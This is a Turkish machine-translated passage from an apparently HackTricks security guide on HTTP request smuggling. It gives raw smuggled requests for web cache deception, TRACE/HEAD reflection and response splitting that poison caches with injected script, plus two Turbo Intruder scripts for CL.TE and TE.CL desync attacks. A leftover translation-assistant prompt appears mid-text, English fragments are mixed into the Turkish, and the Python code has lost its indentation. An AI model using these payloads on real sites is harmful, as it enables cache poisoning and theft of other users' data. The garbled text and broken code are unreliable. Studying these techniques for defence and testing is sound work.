  • web cache poisoning'de, saldırgan uygulamanın önbelleğe bazı kötü amaçlı içerikler kaydetmesine neden olur ve bu içerikler önbellekten diğer uygulama kullanıcılarına servis edilir.
  • web cache deception'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe almasını sağlar ve ardından bu içeriği önbellekten alır.

Saldırgan, hassas kullanıcıya özel içeriği getiren bir smuggled request hazırlar. Aşağıdaki örneği inceleyin:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Eğer bu smuggled request, statik içerik için ayrılmış bir önbellek girdisini (ör. /someimage.png) zehirlerse, mağdurun /private/messages içindeki hassas verileri statik içeriğin önbellek girdisi altında saklanmış olabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verileri elde edebilir.

TRACE'i HTTP Request Smuggling ile kötüye kullanma

In this post öneriyor ki sunucuda TRACE metodu etkinse, HTTP Request Smuggling ile kötüye kullanmak mümkün olabilir. Bunun nedeni, bu metodun sunucuya gönderilen herhangi bir header'ı yanıtın gövdesinde yansıtmasıdır. Örneğin:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Lütfen çevirisini istediğiniz README.md içeriğini buraya yapıştırın. Kod blokları, bağlantılar ve özel etiketler olduğu gibi korunarak Türkçeye çevrilecektir.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Bu davranışın kötüye kullanımına bir örnek olarak smuggle first a HEAD request yapılabilir. Bu isteğe yalnızca bir GET isteğinin headers'ı ile cevap verilecektir (bunların arasında Content-Type de vardır). Ve HEAD'tan hemen sonra smuggle immediately after the HEAD a TRACE request gönderilir; bu, gönderilen veriyi yansıtacaktır.
HEAD yanıtı bir Content-Length header'ı içereceğinden, TRACE isteğinin yanıtı HEAD yanıtının gövdesiymiş gibi işlenecek ve böylece yanıtta rastgele veriler yansıtılabilecektir.
Bu yanıt bağlantı üzerindeki sonraki isteğe gönderilecektir; bu nedenle örneğin önbelleğe alınmış bir JS dosyasında rastgele JS kodu enjekte etmek için kullanılabilir.

TRACE'ı HTTP Response Splitting yoluyla kötüye kullanma

Takip etmeniz önerilen bu yazı, TRACE metodunun başka bir kötüye kullanım yolunu anlatıyor. Belirtildiği gibi, bir HEAD isteği ve bir TRACE isteği smuggle edilerek HEAD yanıtındaki bazı yansıtılmış veriler kontrol edilebilir. HEAD isteğinin gövdesinin uzunluğu temelde Content-Length header'ında belirtilir ve TRACE isteğinin yanıtı tarafından oluşturulur.

Bu nedenle yeni fikir şu: bu Content-Length değerini ve TRACE yanıtında verilen veriyi bildiğinizde, TRACE yanıtının Content-Length'ın son baytından sonra geçerli bir HTTP yanıtı içermesini sağlayabilirsiniz; böylece bir saldırgan sonraki yanıt için yapılacak isteği tamamen kontrol edebilir (bu, cache poisoning gerçekleştirmek için kullanılabilir).

Örnek:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Aşağıdaki yanıtları üretecek (HEAD yanıtının Content-Length'e sahip olması sayesinde TRACE yanıtının HEAD gövdesinin bir parçası haline gelmesine ve HEAD Content-Length sona erdiğinde geçerli bir HTTP yanıtının smuggled olmasına dikkat edin):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP Request Smuggling'ı HTTP Response Desynchronisation ile silahlandırma

HTTP Request Smuggling zafiyeti mi buldunuz ve nasıl sömüreceğinizi bilmiyor musunuz? Bu diğer sömürü yöntemlerini deneyin:

HTTP Response Smuggling / Desync

Diğer HTTP Request Smuggling teknikleri

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scriptleri

CL.TE

Kaynak: https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Kaynak: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Araçlar

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin